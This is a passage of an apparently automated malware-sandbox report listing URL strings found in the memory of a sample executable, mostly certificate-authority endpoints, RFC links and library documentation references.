Source: 4Vp6Xc8SFr.exe, 00000001.00000002.324813601.0000017AC9EFF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.317461335.0000017AC9EFC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://google.com/mail
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.316115753.0000017AC9707000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://google.com/mail/
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.315732154.0000017AC9BC8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.322134173.0000017AC9BCE000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310364004.0000017AC9BC8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316092686.0000017AC9BCD000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.312257969.0000017AC9BC8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.311130928.0000017AC9BC8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308418666.0000017AC9BC8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.311013401.0000017AC75BB000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.317030830.0000017AC75E4000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.324813601.0000017AC9EFF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.317461335.0000017AC9EFC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://httpbin.org/
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.270118444.0000017ACA03D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276157529.0000017ACA0EC000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.275933215.0000017ACA0BF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.accv.es
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.307020159.0000017ACA046000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308722269.0000017ACA047000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276648532.0000017ACA03F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269475039.0000017ACA08D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269301699.0000017ACA08A000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.268919432.0000017ACA086000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269509616.0000017ACA0A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.accv.es0
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255019183.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254728364.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260232942.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260139268.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254382087.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254898897.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DCD000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254482843.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259054046.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254324143.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259483765.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.255103306.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.258333503.0000025976DCF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254625193.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254845722.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255019183.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254728364.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260232942.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260139268.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254382087.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254898897.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DCD000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.258333503.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.255235042.0000025976DD2000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254482843.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259054046.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254324143.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259483765.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.255103306.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.258333503.0000025976DCF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254625193.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254845722.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255019183.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254728364.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260232942.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260139268.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.258939168.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254382087.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254898897.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DCD000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.258333503.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.255235042.0000025976DD2000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254482843.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259054046.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254324143.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259483765.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.255103306.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254625193.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254845722.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.258939168.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0N
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255019183.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254728364.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260232942.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260139268.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254382087.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254898897.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.258333503.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254482843.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259054046.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254324143.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259483765.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.255103306.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254625193.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254845722.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0X
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.258939168.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.thawte.com0
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.276807115.0000017ACA033000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269069124.0000017ACA047000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.268784547.0000017ACA06D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276560722.0000017ACA055000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269455151.0000017ACA051000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://repository.swisssign.com/
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.268784547.0000017ACA06D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://repository.swisssign.com/A
Source: 4Vp6Xc8SFr.exeString found in binary or memory: http://schemas.mi
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316155835.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.319535733.0000017AC9F5D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.315648468.0000017AC9F5D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316400323.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313439551.0000017AC9F5D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308139438.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.309288676.0000017AC9F5D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://tools.ietf.org/html/rfc4880
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.329841009.0000017ACA3DC000.00000004.00001000.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.329841009.0000017ACA300000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://tools.ietf.org/html/rfc5297
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.313746956.0000017AC9F82000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316155835.0000017AC9F94000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310101800.0000017AC9F7B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316400323.0000017AC9FA9000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316573052.0000017AC9FAA000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9F7F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308139438.0000017AC9F70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://tools.ietf.org/html/rfc5869
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.324535554.0000017AC9DF0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.258939168.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.258939168.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.258939168.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316155835.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316371263.0000017AC9FDB000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.326611429.0000017AC9FDC000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308139438.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://web.cs.ucdavis.edu/~rogaway/ocb/license.htm
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.307020159.0000017ACA046000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.270118444.0000017ACA03D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276157529.0000017ACA0EC000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308722269.0000017ACA047000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276648532.0000017ACA03F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269475039.0000017ACA08D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269301699.0000017ACA08A000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.275933215.0000017ACA0BF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.268919432.0000017ACA086000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269509616.0000017ACA0A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.269475039.0000017ACA08D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269301699.0000017ACA08A000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269865608.0000017ACA08E000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.268919432.0000017ACA086000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.307020159.0000017ACA046000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308722269.0000017ACA047000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276648532.0000017ACA03F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269475039.0000017ACA08D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269301699.0000017ACA08A000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.268919432.0000017ACA086000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269509616.0000017ACA0A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.307020159.0000017ACA046000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308722269.0000017ACA047000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276648532.0000017ACA03F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269475039.0000017ACA08D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269301699.0000017ACA08A000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.268919432.0000017ACA086000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269509616.0000017ACA0A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.307020159.0000017ACA046000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308722269.0000017ACA047000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276648532.0000017ACA03F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269475039.0000017ACA08D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269301699.0000017ACA08A000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.268919432.0000017ACA086000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269509616.0000017ACA0A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.accv.es00
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.268784547.0000017ACA0D3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276157529.0000017ACA0EC000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269101774.0000017ACA0D3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269343833.0000017ACA0AC000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269509616.0000017ACA0D3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269301699.0000017ACA08A000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269509616.0000017ACA0B1000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.270057723.0000017ACA0C0000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269945464.0000017ACA0D3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.275933215.0000017ACA0BF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.268919432.0000017ACA086000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.276157529.0000017ACA0EC000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.275933215.0000017ACA0BF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.cert.fnmt.es/dpcs/M:
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.264819253.0000017AC97E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.326576109.0000017AC9FC9000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313746956.0000017AC9F82000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316155835.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316155835.0000017AC9F94000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310101800.0000017AC9F7B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316400323.0000017AC9FA9000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316573052.0000017AC9FAA000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316400323.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9F7F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308139438.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308139438.0000017AC9F70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.cs.ucdavis.edu/~rogaway/papers/keywrap.pdf
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255019183.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254728364.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260232942.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260139268.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254382087.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254898897.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DCD000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254482843.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259054046.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254324143.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259483765.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.255103306.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.258333503.0000025976DCF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254625193.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254845722.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.316788721.0000017AC9F86000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313746956.0000017AC9F82000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276648532.0000017ACA03F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310101800.0000017AC9F7B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269069124.0000017ACA047000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.326187933.0000017AC9F8A000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9F7F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308139438.0000017AC9F70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.firmaprofesional.com/cps0
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.318329557.0000017AC9712000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.311130928.0000017AC9A46000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.314118200.0000017AC9A8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.264819253.0000017AC97E0000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.264699940.0000017AC9A09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.264819253.0000017AC97E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316155835.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316371263.0000017AC9FDB000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.326611429.0000017AC9FDC000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308139438.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.rfc-editor.org/info/rfc7253
